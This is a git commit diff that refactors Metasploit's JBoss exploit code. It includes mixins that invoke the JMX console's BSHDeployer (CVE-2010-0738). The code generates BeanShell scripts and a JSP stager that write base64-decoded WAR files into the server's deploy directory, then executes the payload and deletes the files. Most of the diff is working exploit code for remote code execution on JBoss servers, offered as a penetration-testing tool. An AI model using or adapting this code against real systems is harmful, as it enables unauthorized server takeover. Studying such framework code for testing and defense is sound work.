Work on jboss refactoring

bug/bundler_fix
jvazquez-r7 2014-08-01 14:28:26 -05:00
parent d6c7eb8850
commit 73ca8c0f6d
6 changed files with 242 additions and 241 deletions

View File

@ -5,20 +5,25 @@ module Msf
module HTTP
module JBoss
require 'msf/http/jboss/base'
require 'msf/http/jboss/bsh'
require 'msf/http/jboss/bean_shell_scripts'
require 'msf/http/jboss/bean_shell'
include Msf::Exploit::Remote::HttpClient
include Msf::HTTP::JBoss::Base
include Msf::HTTP::JBoss::BSH
include Msf::HTTP::JBoss::BeanShellScripts
include Msf::HTTP::JBoss::BeanShell
def initialize(info = {})
super
register_options(
[
OptString.new('TARGETURI', [ true, 'The URI path of the JMX console', '/jmx-console']),
OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']])
OptString.new('TARGETURI', [true, 'The URI path of the JMX console', '/jmx-console']),
OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']]),
OptString.new('PACKAGE', [false, 'The package containing the BSHDeployer service'])
], self.class)
end
end
end
end

View File

@ -1,40 +1,27 @@
# -*- coding: binary -*-
module Msf::HTTP::JBoss::Base
def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil)
verb = datastore['VERB'] if verb.nil?
def deploy(opts = {}, num_attempts = 5)
uri = opts['uri']
if uri.blank?
return nil
end
# JBoss might need some time for the deployment. Try 5 times at most and
# wait 5 seconds inbetween tries
num_attempts.times do |attempt|
if (verb == "POST")
res = send_request_cgi(
{
'uri' => uri,
'method' => verb,
'data' => data
}, 5)
else
uri += "?#{data}" unless data.nil?
res = send_request_cgi(
{
'uri' => uri,
'method' => verb
}, 30)
end
res = send_request_cgi(opts, 5)
msg = nil
if (!res)
if res.nil?
msg = "Execution failed on #{uri} [No Response]"
elsif (res.code < 200 or res.code >= 300)
elsif res.code < 200 || res.code >= 300
msg = "http request failed to #{uri} [#{res.code}]"
elsif (res.code == 200)
elsif res.code == 200
vprint_status("Successfully called '#{uri}'")
return res
end
if (attempt < num_attempts - 1)
if attempt < num_attempts - 1
msg << ", retrying in 5 seconds..."
vprint_status(msg)
Rex.sleep(5)
@ -44,4 +31,9 @@ module Msf::HTTP::JBoss::Base
end
end
end
def http_verb
datastore['VERB']
end
end

View File

@ -0,0 +1,72 @@
# -*- coding: binary -*-
module Msf::HTTP::JBoss::BeanShell
DEFAULT_PACKAGES = %w{ deployer scripts }
def deploy_bsh(bsh_script)
package = nil
if datastore['PACKAGE'].blank?
packages = DEFAULT_PACKAGES
else
packages = [ datastore['PACKAGE'] ]
end
packages.each do |p|
if deploy_package(bsh_script, p)
return p
end
end
package
end
def deploy_package(bsh_script, package)
success = false
print_status("Attempting to use '#{package}' as package")
res = invoke_bsh_script(bsh_script, package)
if res.nil?
print_error("Unable to deploy WAR [No Response]")
elsif res.code < 200 || res.code >= 300
case res.code
when 401
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
else
print_error("Unable to deploy BSH script [#{res.code} #{res.message}]")
end
else
success = true
end
success
end
# Invokes +bsh_script+ on the JBoss AS via BSHDeployer
def invoke_bsh_script(bsh_script, pkg)
params = { }
params.compare_by_identity
params['action'] = 'invokeOpByName'
params['name'] = "jboss.#{pkg}:service=BSHDeployer"
params['methodName'] = 'createScriptDeployment'
params['argType'] = 'java.lang.String'
params['arg0'] = bsh_script #Rex::Text.uri_encode(bsh_script)
params['argType'] = 'java.lang.String'
params['arg1'] = Rex::Text.rand_text_alphanumeric(8+rand(8)) + '.bsh'
opts = {
'method' => http_verb,
'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')
}
if http_verb == 'POST'
opts.merge!('vars_post' => params)
else
opts.merge!('vars_get' => params)
end
send_request_cgi(opts)
end
end

View File

@ -0,0 +1,83 @@
# -*- coding: binary -*-
module Msf::HTTP::JBoss::BeanShellScripts
def generate_bsh(type, opts ={})
bean_shell = nil
case type
when :create
bean_shell = create_file_bsh(opts)
when :delete
bean_shell = delete_files_bsh(opts)
end
bean_shell
end
# The following jsp script will write the exploded WAR file to the deploy/
# directory. This is used to bypass the size limit for GET/HEAD requests
# Dynamic variables, only used if we need a stager
def stager_jsp(app_base)
decoded_var = Rex::Text.rand_text_alpha(8+rand(8))
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
content_var = Rex::Text.rand_text_alpha(8+rand(8))
stager_jsp = <<-EOT
<%@page import="java.io.*,
java.util.*,
sun.misc.BASE64Decoder"
%>
<%
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
String #{file_path_var} = #{jboss_home_var} + "/deploy/" + "#{app_base}.war";
try {
String #{content_var} = "";
String parameterName = (String)(request.getParameterNames().nextElement());
#{content_var} = request.getParameter(parameterName);
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
#{fos_var}.write(#{decoded_var});
#{fos_var}.close();
}
catch(Exception e){ }
%>
EOT
stager_jsp
end
def create_file_bsh(opts = {})
dir = opts[:dir]
file = opts[:file]
contents = opts[:contents]
payload_bsh_script = <<-EOT
import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;
String val = "#{contents}";
BASE64Decoder decoder = new BASE64Decoder();
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/#{dir}").mkdir();
byte[] byteval = decoder.decodeBuffer(val);
String location = jboss_home + "/deploy/#{file}";
FileOutputStream fstream = new FileOutputStream(location);
fstream.write(byteval);
fstream.close();
EOT
vprint_status("Creating deploy/#{file} via BSHDeployer")
payload_bsh_script
end
def delete_files_bsh(opts = {})
script = "String jboss_home = System.getProperty(\"jboss.server.home.dir\");\n"
opts.values.each do |v|
script << "new File(jboss_home + \"/deploy/#{v}\").delete();\n"
end
script
end
end

View File

@ -1,168 +0,0 @@
# -*- coding: binary -*-
module Msf::HTTP::JBoss::BSH
def initialize(info = {})
super
register_options(
[
Msf::OptString.new('PACKAGE', [ false, 'The package containing the BSHDeployer service', 'auto' ])
], self.class)
end
def deploy_bsh(bsh_script)
if datastore['PACKAGE'] == 'auto'
packages = %w{ deployer scripts }
else
packages = [ datastore['PACKAGE'] ]
end
success = false
packages.each do |p|
print_status("Attempting to use '#{p}' as package")
res = invoke_bshscript(bsh_script, p)
if !res
print_error("Unable to deploy WAR [No Response]")
return false
end
if (res.code < 200 || res.code >= 300)
case res.code
when 401
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
end
print_error("Unable to deploy BSH script [#{res.code} #{res.message}]")
else
success = true
@pkg = p
break
end
end
return success
end
def gen_stager_bsh(app_base, stager_base, stager_jsp_name, content_var)
# The following jsp script will write the exploded WAR file to the deploy/
# directory. This is used to bypass the size limit for GET/HEAD requests
# Dynamic variables, only used if we need a stager
decoded_var = Rex::Text.rand_text_alpha(8+rand(8))
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
stager_jsp = <<-EOT
<%@page import="java.io.*,
java.util.*,
sun.misc.BASE64Decoder"
%>
<%
if (request.getParameter("#{content_var}") != null) {
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
String #{file_path_var} = #{jboss_home_var} + "/deploy/" + "#{app_base}.war";
try {
String #{content_var} = "";
#{content_var} = request.getParameter("#{content_var}");
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
#{fos_var}.write(#{decoded_var});
#{fos_var}.close();
}
catch(Exception e){ }
}
%>
EOT
encoded_stager_code = Rex::Text.encode_base64(stager_jsp).gsub(/\n/, '')
jsp_file_var = Rex::Text.rand_text_alpha(8+rand(8))
fstream_var = Rex::Text.rand_text_alpha(8+rand(8))
byteval_var = Rex::Text.rand_text_alpha(8+rand(8))
stager_var = Rex::Text.rand_text_alpha(8+rand(8))
decoder_var = Rex::Text.rand_text_alpha(8+rand(8))
# The following Beanshell script will write a short stager application into the deploy
# directory. This stager script is then used to install the payload
#
# This is neccessary to overcome the size limit for GET/HEAD requests
stager_bsh_script = <<-EOT
import sun.misc.BASE64Decoder;
String #{stager_var} = "#{encoded_stager_code}";
BASE64Decoder #{decoder_var} = new BASE64Decoder();
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
new File(#{jboss_home_var} + "/deploy/#{stager_base + '.war'}").mkdir();
byte[] #{byteval_var} = #{decoder_var}.decodeBuffer(#{stager_var});
String #{jsp_file_var} = #{jboss_home_var} + "/deploy/#{stager_base + '.war/' + stager_jsp_name + '.jsp'}";
FileOutputStream #{fstream_var} = new FileOutputStream(#{jsp_file_var});
#{fstream_var}.write(#{byteval_var});
#{fstream_var}.close();
EOT
print_status("Creating exploded WAR in deploy/#{stager_base}.war/ dir via BSHDeployer")
return stager_bsh_script
end
def gen_payload_bsh(encoded_payload, app_base)
# The following Beanshell script will write the exploded WAR file to the deploy/
# directory
payload_bsh_script = <<-EOT
import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;
String val = "#{encoded_payload}";
BASE64Decoder decoder = new BASE64Decoder();
String jboss_home = System.getProperty("jboss.server.home.dir");
byte[] byteval = decoder.decodeBuffer(val);
String war_file = jboss_home + "/deploy/#{app_base + '.war'}";
FileOutputStream fstream = new FileOutputStream(war_file);
fstream.write(byteval);
fstream.close();
EOT
print_status("Creating exploded WAR in deploy/#{app_base}.war/ dir via BSHDeployer")
return payload_bsh_script
end
# Invokes +bsh_script+ on the JBoss AS via BSHDeployer
def invoke_bshscript(bsh_script, pkg)
params = 'action=invokeOpByName'
params << '&name=jboss.' + pkg + ':service=BSHDeployer'
params << '&methodName=createScriptDeployment'
params << '&argType=java.lang.String'
params << '&arg0=' + Rex::Text.uri_encode(bsh_script)
params << '&argType=java.lang.String'
params << '&arg1=' + Rex::Text.rand_text_alphanumeric(8+rand(8)) + '.bsh'
if (datastore['VERB']== "POST")
res = send_request_cgi({
'method' => datastore['VERB'],
'uri' => normalize_uri(datastore['TARGETURI'], '/HtmlAdaptor'),
'data' => params
})
else
res = send_request_cgi({
'method' => datastore['VERB'],
'uri' => normalize_uri(datastore['TARGETURI'], '/HtmlAdaptor') + "?#{params}"
}, 30)
end
res
end
def gen_undeploy_stager(app_base, stager_base, stager_jsp_name)
delete_stager_script = <<-EOT
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/#{stager_base + '.war/' + stager_jsp_name + '.jsp'}").delete();
new File(jboss_home + "/deploy/#{stager_base + '.war'}").delete();
new File(jboss_home + "/deploy/#{app_base + '.war'}").delete();
EOT
delete_stager_script
end
def gen_undeploy_bsh(app_base)
delete_script = <<-EOT
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/#{app_base + '.war'}").delete();
EOT
delete_script
end
end

View File

@ -83,8 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
Opt::RPORT(8080),
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
OptString.new('PACKAGE', [ true, 'The package containing the BSHDeployer service', 'auto' ]),
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ])
], self.class)
end
@ -96,9 +95,9 @@ class Metasploit3 < Msf::Exploit::Remote
p = payload
mytarget = target
if (target.name =~ /Automatic/)
mytarget = auto_target()
if (not mytarget)
if target.name =~ /Automatic/
mytarget = auto_target
unless mytarget
fail_with(Failure::NoTarget, "Unable to automatically select a target")
end
print_status("Automatically selected target \"#{mytarget.name}\"")
@ -123,28 +122,45 @@ class Metasploit3 < Msf::Exploit::Remote
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
if datastore['VERB'] == 'POST' then
bsh_payload = gen_payload_bsh(encoded_payload, app_base)
if !deploy_bsh(bsh_payload)
fail_with(Failure::Unknown, "Failed to deploy the WAR payload")
end
if http_verb == 'POST'
print_status("Deploying payload...")
opts = {
:file => "#{app_base}.war",
:contents => encoded_payload
}
else
# Dynamic variables, only used if we need a stager
print_status("Deploying stager...")
stager_base = rand_text_alpha(8+rand(8))
stager_jsp_name = rand_text_alpha(8+rand(8))
content_var = rand_text_alpha(8+rand(8))
stager_contents = stager_jsp(app_base)
# We need to deploy a stager first
bsh_payload = gen_stager_bsh(app_base, stager_base, stager_jsp_name, content_var)
if !deploy_bsh(bsh_payload)
fail_with(Failure::Unknown, "Failed to deploy the WAR payload")
opts = {
:dir => "#{stager_base}.war",
:file => "#{stager_base}.war/#{stager_jsp_name}.jsp",
:contents => Rex::Text.encode_base64(stager_contents).gsub(/\n/, '')
}
end
bsh_payload = generate_bsh(:create, opts)
package = deploy_bsh(bsh_payload)
if package.nil?
fail_with(Failure::Unknown, "Failed to deploy")
end
unless http_verb == 'POST'
# now we call the stager to deploy our real payload war
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
payload_data = "#{content_var}=#{Rex::Text.uri_encode(encoded_payload)}"
print_status("Calling stager to deploy final payload")
call_uri_mtimes(stager_uri, 5, 'POST', payload_data)
payload_data = "#{rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
print_status("Calling stager #{stager_uri } to deploy final payload")
res = deploy('method' => 'POST',
'data' => payload_data,
'uri' => stager_uri)
unless res && res.code == 200
fail_with(Failure::Unknown, "Failed to deploy")
end
end
#
# EXECUTE
@ -152,11 +168,7 @@ class Metasploit3 < Msf::Exploit::Remote
uri = '/' + app_base + '/' + jsp_name + '.jsp'
print_status("Calling JSP file with final payload...")
print_status("Executing #{uri}...")
# The payload doesn't like POST requests
tmp_verb = datastore['VERB']
tmp_verb = 'GET' if tmp_verb == 'POST'
call_uri_mtimes(uri, 5, tmp_verb)
deploy('uri' => uri, 'method' => 'GET')
#
# DELETE
@ -164,17 +176,19 @@ class Metasploit3 < Msf::Exploit::Remote
# The WAR can only be removed by physically deleting it, otherwise it
# will get redeployed after a server restart.
print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...")
if datastore['VERB'] == 'POST'
delete_script = gen_undeploy_bsh(app_base)
else
delete_script = gen_undeploy_stager(app_base, stager_base, stager_jsp_name)
end
res = invoke_bshscript(delete_script, @pkg)
if !res
print_warning("WARNING: Unable to remove WAR [No Response]")
files = {}
unless http_verb == 'POST'
files[:stager_jsp_name] = "#{stager_base}.war/#{stager_jsp_name}.jsp"
files[:stager_base] = "#{stager_base}.war"
end
if (res.code < 200 || res.code >= 300)
files[:app_base] = "#{app_base}.war"
delete_script = generate_bsh(:delete, files)
res = invoke_bsh_script(delete_script, package)
if res.nil?
print_warning("WARNING: Unable to remove WAR [No Response]")
elsif res.code < 200 || res.code >= 300
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
end
@ -182,7 +196,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def auto_target
if datastore['VERB'] == 'HEAD' then
if http_verb == 'HEAD' then
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
else
print_status("Attempting to automatically select a target...")
@ -205,14 +219,14 @@ class Metasploit3 < Msf::Exploit::Remote
end
def query_serverinfo
path = normalize_uri(datastore['TARGETURI'], '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo')
path = normalize_uri(target_uri.path.to_s, '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo')
res = send_request_raw(
{
'uri' => path,
'method' => datastore['VERB']
}, 20)
'method' => http_verb
})
if (not res) or (res.code != 200)
unless res && res.code == 200
print_error("Failed: Error requesting #{path}")
return nil
end
@ -232,6 +246,7 @@ class Metasploit3 < Msf::Exploit::Remote
return 'win'
end
end
nil
end
@ -245,6 +260,8 @@ class Metasploit3 < Msf::Exploit::Remote
return ARCH_X86
end
end
nil
end
end